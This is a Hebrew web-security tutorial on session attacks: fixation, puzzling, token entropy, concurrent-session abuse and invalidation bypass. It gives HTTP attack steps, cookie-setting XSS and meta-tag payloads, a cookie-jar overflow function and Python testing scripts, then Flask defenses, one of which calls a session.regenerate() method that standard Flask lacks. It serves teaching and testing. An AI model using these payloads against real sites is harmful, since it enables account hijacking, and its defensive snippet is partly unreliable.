לדלג לתוכן

תקיפות סשן מתקדמות - Advanced Session Attacks

מבוא

ניהול סשנים הוא אחד מאבני היסוד של אבטחת אפליקציות ווב. טוקן הסשן משמש כתחליף לאימות מחדש בכל בקשה. חולשות בניהול הסשן מאפשרות לתוקף לחטוף סשנים, לזייף אותם, או לנצל אותם בדרכים יצירתיות.


תקיפה 1: קיבוע סשן - Session Fixation

הרקע

בתקיפת קיבוע סשן, התוקף כופה על הקורבן להשתמש ב-session ID שידוע לתוקף. כאשר הקורבן מתחבר, התוקף משתמש באותו session ID כדי לגשת לחשבון.

תנאי מוקדם

האפליקציה חייבת לקבל session IDs מהלקוח ולא לחדש אותם בהתחברות.

שלבי התקיפה

# Step 1: The attacker obtains a session ID
GET / HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
Set-Cookie: session=KNOWN_SESSION_ID; Path=/

# Step 2: The attacker sends a link to the victim with the session ID
# Method A: Via URL
https://target.com/login?session=KNOWN_SESSION_ID

# Method B: Via XSS
<script>document.cookie="session=KNOWN_SESSION_ID"</script>

# Method C: Via meta tag (if there's HTML injection)
<meta http-equiv="Set-Cookie" content="session=KNOWN_SESSION_ID">

# Method D: Via subdomain cookie
# If the attacker controls sub.target.com:
Set-Cookie: session=KNOWN_SESSION_ID; Domain=.target.com

# Step 3: The victim logs in with the known session
POST /login HTTP/1.1
Cookie: session=KNOWN_SESSION_ID

username=victim&password=secret

# Step 4: The attacker uses the same session
GET /dashboard HTTP/1.1
Cookie: session=KNOWN_SESSION_ID

# If the session wasn't renewed -> the attacker is logged in as the victim!

בדיקה

import requests

def test_session_fixation(base_url):
    """Test the session fixation vulnerability"""

    session = requests.Session()

    # Step 1: Obtain a session ID
    resp = session.get(f"{base_url}/")
    original_session = session.cookies.get('session')
    print(f"[*] Session before login: {original_session}")

    # Step 2: Log in
    session.post(f"{base_url}/login", data={
        'username': 'wiener',
        'password': 'peter'
    })

    new_session = session.cookies.get('session')
    print(f"[*] Session after login: {new_session}")

    if original_session == new_session:
        print("[+] Session not renewed - vulnerable to Session Fixation!")
    else:
        print("[-] Session renewed at login - protected")

תקיפה 2: בלבול סשן - Session Puzzling

הרקע

Session puzzling (גם נקרא Session Variable Overloading) מתרחש כאשר האפליקציה משתמשת באותם משתני סשן למטרות שונות. תוקף יכול להגדיר משתנה סשן במסלול אחד ולנצל אותו במסלול אחר.

תרחיש

# The password reset process sets the user in the session:
POST /forgot-password HTTP/1.1
Cookie: session=ABC123

email=admin@target.com

# The server sets: session['reset_user'] = 'admin'

# The change-password process checks session['user']:
POST /change-password HTTP/1.1
Cookie: session=ABC123

new_password=hacked123

# If the server checks session['reset_user'] instead of session['authenticated_user']
# -> the admin's password can be changed!

דוגמה נוספת

# Process 1: Registration sets role
POST /register HTTP/1.1
role=admin&name=Test&email=test@test.com
# session['role'] = 'admin' (without verification)

# Process 2: The profile checks session['role']
GET /admin-panel HTTP/1.1
# session['role'] == 'admin' -> access granted!

בדיקה

def test_session_puzzling(base_url):
    """Test the session puzzling vulnerability"""

    session = requests.Session()

    # Step 1: Access an endpoint that sets session variables
    session.post(f"{base_url}/forgot-password", data={
        'email': 'admin@target.com'
    })

    # Step 2: Try accessing protected endpoints
    endpoints = ['/admin', '/dashboard', '/change-password', '/profile']

    for ep in endpoints:
        resp = session.get(f"{base_url}{ep}", allow_redirects=False)
        if resp.status_code == 200:
            print(f"[+] Access to {ep} after forgot-password!")
        elif resp.status_code == 302:
            loc = resp.headers.get('Location', '')
            if 'login' not in loc:
                print(f"[+] Redirect from {ep} to: {loc}")

תקיפה 3: ניתוח אנטרופיית טוקן - Token Entropy Analysis

הרקע

טוקני סשן חייבים להיות בלתי ניתנים לחיזוי. אם האנטרופיה נמוכה, ניתן לנחש טוקנים פעילים.

שימוש ב-Burp Sequencer

1. Intercept a request that returns a session cookie
2. Right-click -> Send to Sequencer
3. Choose the cookie you want to analyze
4. Click Start live capture
5. Collect at least 10,000 tokens
6. Sequencer will calculate:
   - Overall entropy quality
   - Character-level analysis
   - Bit-level analysis
7. If entropy is below 100 bits -> vulnerable to prediction

ניתוח ידני

import collections
import math
import requests

def analyze_session_entropy(base_url, sample_size=1000):
    """Analyze session token entropy"""

    tokens = []

    print(f"[*] Collecting {sample_size} tokens...")
    for i in range(sample_size):
        resp = requests.get(base_url)
        cookie = resp.cookies.get('session', '')
        if cookie:
            tokens.append(cookie)

        if (i + 1) % 100 == 0:
            print(f"  Collected {i + 1} tokens")

    if not tokens:
        print("[-] No tokens found")
        return

    # Length analysis
    lengths = [len(t) for t in tokens]
    print(f"\n[*] Token length: min={min(lengths)}, max={max(lengths)}")

    # Character analysis
    all_chars = ''.join(tokens)
    char_freq = collections.Counter(all_chars)
    unique_chars = len(char_freq)
    print(f"[*] Unique characters: {unique_chars}")

    # Calculate Shannon entropy
    total = len(all_chars)
    entropy = 0
    for count in char_freq.values():
        p = count / total
        entropy -= p * math.log2(p)

    print(f"[*] Shannon entropy: {entropy:.2f} bits per char")
    print(f"[*] Total entropy: {entropy * min(lengths):.2f} bits")

    # Check for duplicates
    duplicates = len(tokens) - len(set(tokens))
    if duplicates > 0:
        print(f"[!] Found {duplicates} duplicate tokens!")

    # Check for patterns
    # Check whether part of the token is constant
    if len(set(t[:4] for t in tokens)) < 10:
        print("[!] The first 4 characters are almost constant")

    if entropy * min(lengths) < 64:
        print("[+] Entropy too low - vulnerable to brute force!")
    elif entropy * min(lengths) < 128:
        print("[!] Medium entropy - may be vulnerable")
    else:
        print("[-] Sufficient entropy")

    return {
        'tokens': len(tokens),
        'length': min(lengths),
        'unique_chars': unique_chars,
        'entropy_per_char': entropy,
        'total_entropy': entropy * min(lengths),
        'duplicates': duplicates
    }

תקיפה 4: הexploit סשנים מקבילים - Concurrent Session Abuse

הרקע

אפליקציות רבות מאפשרות מספר סשנים פעילים בו-זמנית. ניתן לנצל זאת בדרכים שונות.

תרחישים

Scenario 1: Using a session after a password change
1. The attacker steals a session cookie (via XSS, sniffing, etc.)
2. The victim discovers this and changes the password
3. Is the stolen session still active? If so - vulnerability!

Scenario 2: Multi-user session
1. Two users log into the same account
2. User A changes permissions
3. Does the change immediately affect User B's session?

Scenario 3: Permission upgrade
1. An admin raises a user's permissions
2. The user doesn't log in again
3. Do the new permissions apply to the existing session?

בדיקה

def test_session_invalidation(base_url, username, password):
    """Test whether sessions are invalidated on password change"""

    # Session 1
    session1 = requests.Session()
    session1.post(f"{base_url}/login", data={
        'username': username,
        'password': password
    })

    # Session 2
    session2 = requests.Session()
    session2.post(f"{base_url}/login", data={
        'username': username,
        'password': password
    })

    # Check that both sessions have access
    r1 = session1.get(f"{base_url}/profile")
    r2 = session2.get(f"{base_url}/profile")
    print(f"[*] Session 1: {r1.status_code}, Session 2: {r2.status_code}")

    # Change password via session 1
    new_password = password + "NEW"
    session1.post(f"{base_url}/change-password", data={
        'current_password': password,
        'new_password': new_password
    })

    # Check whether session 2 still works
    r2_after = session2.get(f"{base_url}/profile")
    print(f"[*] Session 2 after password change: {r2_after.status_code}")

    if r2_after.status_code == 200:
        print("[+] Session 2 still active - sessions not invalidated!")
    else:
        print("[-] Session 2 invalidated - protection working")

תקיפה 5: הbypass ביטול סשן - Session Invalidation Bypass

הרקע

גם כאשר השרת מבטל סשנים, ייתכנו דרכים לעקוף את הביטול.

טכניקות

# Technique 1: Using an old session with cache
GET /profile HTTP/1.1
Cookie: session=OLD_SESSION
If-None-Match: "cached_etag"

# If the server returns 304 Not Modified without checking the session

# Technique 2: Using a refresh token
POST /token/refresh HTTP/1.1
Cookie: refresh_token=STILL_VALID_REFRESH_TOKEN

# If the refresh token wasn't invalidated with the session

# Technique 3: API endpoints that don't check invalidation
GET /api/v1/user HTTP/1.1
Authorization: Bearer OLD_ACCESS_TOKEN

# The API only checks the token's validity, not whether it was invalidated

# Technique 4: A WebSocket that stays open
# WebSocket connections don't always disconnect when the session is invalidated

מניפולציית Domain ו-Path

# Test 1: Cookie scoping
# If the cookie is set to .target.com
# any subdomain can read and modify it

Set-Cookie: session=abc; Domain=.target.com; Path=/

# An attacker who controls evil.target.com can:
# 1. Read the session cookie
# 2. Overwrite it with a known value (session fixation)

הbypass הגבלת Path

# Cookie is restricted to a specific path:
Set-Cookie: admin_session=xyz; Path=/admin

# Bypass via iframe:
<iframe src="/admin/page"></iframe>
# The iframe sends the cookie and JavaScript can access its content
# (if same origin)
# When there's a subdomain under the attacker's control:
# evil.target.com sets a cookie for .target.com

Set-Cookie: session=ATTACKER_VALUE; Domain=.target.com; Path=/

# The attacker's cookie may overwrite the real cookie
# or be sent before the real cookie

# Result: session fixation or session puzzling
def cookie_jar_overflow(target_url, target_cookie_name):
    """Overwrite a cookie by flooding the cookie jar"""

    # Browsers limit the number of cookies per domain (typically 150-180)
    # If enough cookies are added, the old ones get deleted

    session = requests.Session()

    # Create many cookies to push out the desired cookie
    for i in range(200):
        session.cookies.set(f'junk_{i}', 'x' * 100, domain='.target.com')

    # Now a new cookie with the same name can be set
    session.cookies.set(target_cookie_name, 'attacker_value', domain='.target.com')

כלים

Burp Sequencer

Goal: analyze the randomness quality of tokens
Usage:
1. Capture a response that contains a session cookie
2. Send to Sequencer
3. Choose the value to analyze
4. Run a live capture of 10,000+ samples
5. Review the analysis results

סקריפט מלא לבדיקת סשנים

#!/usr/bin/env python3
"""
Comprehensive script for testing session security
"""

import requests
import time

class SessionTester:
    def __init__(self, base_url):
        self.base_url = base_url

    def test_session_regeneration(self, username, password):
        """Test whether the session is renewed on login"""
        print("[*] Testing session renewal...")

        session = requests.Session()
        session.get(self.base_url)
        pre_login = session.cookies.get('session')

        session.post(f"{self.base_url}/login", data={
            'username': username,
            'password': password
        })
        post_login = session.cookies.get('session')

        if pre_login == post_login:
            print("  [+] Session Fixation - the session was not renewed!")
        else:
            print("  [-] The session was renewed at login")

    def test_secure_flags(self):
        """Test security flags on the cookie"""
        print("\n[*] Testing security flags...")

        resp = requests.get(self.base_url)
        cookies = resp.headers.get('Set-Cookie', '')

        checks = {
            'Secure': 'Secure' in cookies,
            'HttpOnly': 'HttpOnly' in cookies,
            'SameSite': 'SameSite' in cookies,
        }

        for flag, present in checks.items():
            status = "[-] Missing" if not present else "[+] Present"
            print(f"  {status}: {flag}")

    def test_logout_invalidation(self, username, password):
        """Test whether logout invalidates the session"""
        print("\n[*] Testing session invalidation on logout...")

        session = requests.Session()
        session.post(f"{self.base_url}/login", data={
            'username': username,
            'password': password
        })

        # Save the cookie
        session_cookie = session.cookies.get('session')

        # logout
        session.get(f"{self.base_url}/logout")

        # Attempt to use the old cookie
        resp = requests.get(
            f"{self.base_url}/profile",
            cookies={'session': session_cookie},
            allow_redirects=False
        )

        if resp.status_code == 200:
            print("  [+] The session is still active after logout!")
        else:
            print("  [-] The session was invalidated correctly")

    def test_session_timeout(self, username, password, wait_minutes=5):
        """Test session expiry"""
        print(f"\n[*] Testing session expiry ({wait_minutes} minutes)...")

        session = requests.Session()
        session.post(f"{self.base_url}/login", data={
            'username': username,
            'password': password
        })

        session_cookie = session.cookies.get('session')

        print(f"  Waiting {wait_minutes} minutes...")
        time.sleep(wait_minutes * 60)

        resp = requests.get(
            f"{self.base_url}/profile",
            cookies={'session': session_cookie},
            allow_redirects=False
        )

        if resp.status_code == 200:
            print(f"  [!] The session is still active after {wait_minutes} minutes")
        else:
            print(f"  [-] The session has expired")

    def run_all(self, username, password):
        """Run all tests"""
        print(f"{'='*60}")
        print(f"[*] Testing session security - {self.base_url}")
        print(f"{'='*60}")

        self.test_session_regeneration(username, password)
        self.test_secure_flags()
        self.test_logout_invalidation(username, password)

        print(f"\n{'='*60}")
        print("[*] Testing complete")

if __name__ == "__main__":
    tester = SessionTester("https://target.com")
    tester.run_all("wiener", "peter")

הגנות - Defenses

1. חידוש סשן בהתחברות

from flask import session

@app.route('/login', methods=['POST'])
def login():
    if authenticate(request.form['username'], request.form['password']):
        # Renew the session to prevent fixation
        session.regenerate()

        session['user'] = request.form['username']
        session['authenticated'] = True
        return redirect('/dashboard')
app.config.update(
    SESSION_COOKIE_SECURE=True,      # HTTPS only
    SESSION_COOKIE_HTTPONLY=True,     # No JavaScript access
    SESSION_COOKIE_SAMESITE='Lax',   # CSRF protection
    SESSION_COOKIE_DOMAIN=None,      # Exact domain only
    PERMANENT_SESSION_LIFETIME=1800   # 30 minutes
)

3. ביטול כל הסשנים בשינוי סיסמה

@app.route('/change-password', methods=['POST'])
def change_password():
    # Change the password
    user.set_password(request.form['new_password'])

    # Invalidate all sessions
    invalidate_all_sessions(user.id)

    # Create a new session
    session.regenerate()
    session['user'] = user.id

    return redirect('/dashboard')

4. דרישות אנטרופיה

- Minimum length of 128 bits (32 hex characters)
- Use a CSPRNG (Cryptographically Secure Pseudo-Random Number Generator)
- Do not include predictable information (timestamp, user ID, IP)

סיכום

תקיפות סשן מתקדמות מנצלות חולשות בניהול מחזור חיי הסשן. הנקודות המרכזיות:

  • חדשו תמיד את הסשן בהתחברות כדי למנוע fixation
  • הפרידו משתני סשן למטרות שונות כדי למנוע puzzling
  • ודאו אנטרופיה גבוהה בטוקנים באמצעות Burp Sequencer
  • בטלו את כל הסשנים בשינוי סיסמה
  • הגדירו דגלי Secure, HttpOnly ו-SameSite בכל Cookie
  • הגבילו את Domain ו-Path של cookies למינימום הנדרש